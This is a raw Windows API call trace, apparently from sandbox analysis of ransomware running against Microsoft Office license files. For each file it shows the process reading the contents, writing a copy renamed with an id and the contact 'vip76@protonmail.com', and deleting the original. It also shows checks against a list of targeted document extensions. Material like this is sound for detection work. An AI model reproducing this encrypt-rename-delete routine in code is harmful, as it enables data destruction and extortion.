	[0201.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0201.935] GetLastError () returned 0x0
	[0201.935] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0202.307] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0202.308] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.309] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.309] SetEndOfFile (hFile=0x49c) returned 1
	[0202.309] CloseHandle (hObject=0x49c) returned 1
	[0202.309] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.309] SetEndOfFile (hFile=0x594) returned 1
	[0202.323] CloseHandle (hObject=0x594) returned 1
	[0202.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0202.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.917] lstrlenW (lpString=".doc") returned 4
	[0202.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString=".docx") returned 5
	[0202.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.932] lstrlenW (lpString=".pdf") returned 4
	[0202.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString=".xls") returned 4
	[0202.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString=".xlsx") returned 5
	[0202.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.932] lstrlenW (lpString=".ppt") returned 4
	[0202.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.932] lstrlenW (lpString=".zip") returned 4
	[0202.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString=".rar") returned 4
	[0202.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.932] lstrlenW (lpString=".bz2") returned 4
	[0202.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".7z") returned 3
	[0202.933] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString=".dbf") returned 4
	[0202.933] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString=".1cd") returned 4
	[0202.933] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString=".jpg") returned 4
	[0202.933] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString=".doc") returned 4
	[0202.933] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".docx") returned 5
	[0202.933] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.933] lstrlenW (lpString=".pdf") returned 4
	[0202.933] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".xls") returned 4
	[0202.933] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".xlsx") returned 5
	[0202.933] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.933] lstrlenW (lpString=".ppt") returned 4
	[0202.933] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.933] lstrlenW (lpString=".zip") returned 4
	[0202.933] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".rar") returned 4
	[0202.933] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".bz2") returned 4
	[0202.933] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.933] lstrlenW (lpString=".7z") returned 3
	[0202.934] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.934] lstrlenW (lpString=".dbf") returned 4
	[0202.934] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.934] lstrlenW (lpString=".1cd") returned 4
	[0202.934] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0202.934] lstrlenW (lpString=".jpg") returned 4
	[0202.934] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.934] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.934] lstrlenW (lpString="O365ProPlusR_Subscription5-ppd.xrm-ms") returned 37
	[0202.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.935] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=28261) returned 1
	[0202.935] CloseHandle (hObject=0x5bc) returned 1
	[0202.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 0x220
	[0202.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.935] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.935] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0202.937] GetLastError () returned 0x0
	[0202.937] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0202.940] WriteFile (in: hFile=0x494, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0202.942] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.942] WriteFile (in: hFile=0x494, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.942] SetEndOfFile (hFile=0x494) returned 1
	[0202.942] CloseHandle (hObject=0x494) returned 1
	[0202.942] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.942] SetEndOfFile (hFile=0x5bc) returned 1
	[0202.945] CloseHandle (hObject=0x5bc) returned 1
	[0202.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 1
	[0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.946] lstrlenW (lpString=".doc") returned 4
	[0202.946] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.946] lstrlenW (lpString=".docx") returned 5
	[0202.946] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.946] lstrlenW (lpString=".pdf") returned 4
	[0202.946] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".xls") returned 4
	[0202.947] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".xlsx") returned 5
	[0202.947] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.947] lstrlenW (lpString=".ppt") returned 4
	[0202.947] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString=".zip") returned 4
	[0202.947] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".rar") returned 4
	[0202.947] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".bz2") returned 4
	[0202.947] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".7z") returned 3
	[0202.947] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString=".dbf") returned 4
	[0202.947] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString=".1cd") returned 4
	[0202.947] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString=".jpg") returned 4
	[0202.947] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.947] lstrlenW (lpString=".doc") returned 4
	[0202.947] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.947] lstrlenW (lpString=".docx") returned 5
	[0202.947] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.947] lstrlenW (lpString=".pdf") returned 4
	[0202.947] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString=".xls") returned 4
	[0202.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString=".xlsx") returned 5
	[0202.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.948] lstrlenW (lpString=".ppt") returned 4
	[0202.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.948] lstrlenW (lpString=".zip") returned 4
	[0202.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString=".rar") returned 4
	[0202.948] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString=".bz2") returned 4
	[0202.948] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString=".7z") returned 3
	[0202.948] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.948] lstrlenW (lpString=".dbf") returned 4
	[0202.948] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.948] lstrlenW (lpString=".1cd") returned 4
	[0202.948] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0202.948] lstrlenW (lpString=".jpg") returned 4
	[0202.948] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.948] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.948] lstrlenW (lpString="O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 40
	[0202.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.949] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11646) returned 1
	[0202.949] CloseHandle (hObject=0x5bc) returned 1
	[0202.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0202.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.950] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.950] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0202.951] GetLastError () returned 0x0
	[0202.951] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0203.534] WriteFile (in: hFile=0x494, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0203.535] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.535] WriteFile (in: hFile=0x494, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x124, lpOverlapped=0x0) returned 1
	[0203.535] SetEndOfFile (hFile=0x494) returned 1
	[0203.817] CloseHandle (hObject=0x494) returned 1
	[0203.820] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.820] SetEndOfFile (hFile=0x5bc) returned 1
	[0203.848] CloseHandle (hObject=0x5bc) returned 1
	[0203.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 1
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.979] lstrlenW (lpString=".doc") returned 4
	[0203.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".docx") returned 5
	[0203.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.979] lstrlenW (lpString=".pdf") returned 4
	[0203.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".xls") returned 4
	[0203.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".xlsx") returned 5
	[0203.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.979] lstrlenW (lpString=".ppt") returned 4
	[0203.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.979] lstrlenW (lpString=".zip") returned 4
	[0203.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".rar") returned 4
	[0203.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".bz2") returned 4
	[0203.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString=".7z") returned 3
	[0203.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.979] lstrlenW (lpString=".dbf") returned 4
	[0203.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.979] lstrlenW (lpString=".1cd") returned 4
	[0203.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString=".jpg") returned 4
	[0203.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString=".doc") returned 4
	[0203.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".docx") returned 5
	[0203.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.980] lstrlenW (lpString=".pdf") returned 4
	[0203.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".xls") returned 4
	[0203.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".xlsx") returned 5
	[0203.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.980] lstrlenW (lpString=".ppt") returned 4
	[0203.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString=".zip") returned 4
	[0203.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".rar") returned 4
	[0203.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".bz2") returned 4
	[0203.980] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString=".7z") returned 3
	[0203.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString=".dbf") returned 4
	[0203.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.980] lstrlenW (lpString=".1cd") returned 4
	[0203.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0203.981] lstrlenW (lpString=".jpg") returned 4
	[0203.981] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.981] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0203.981] lstrlenW (lpString="O365ProPlusR_SubTrial2-pl.xrm-ms") returned 32
	[0203.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284
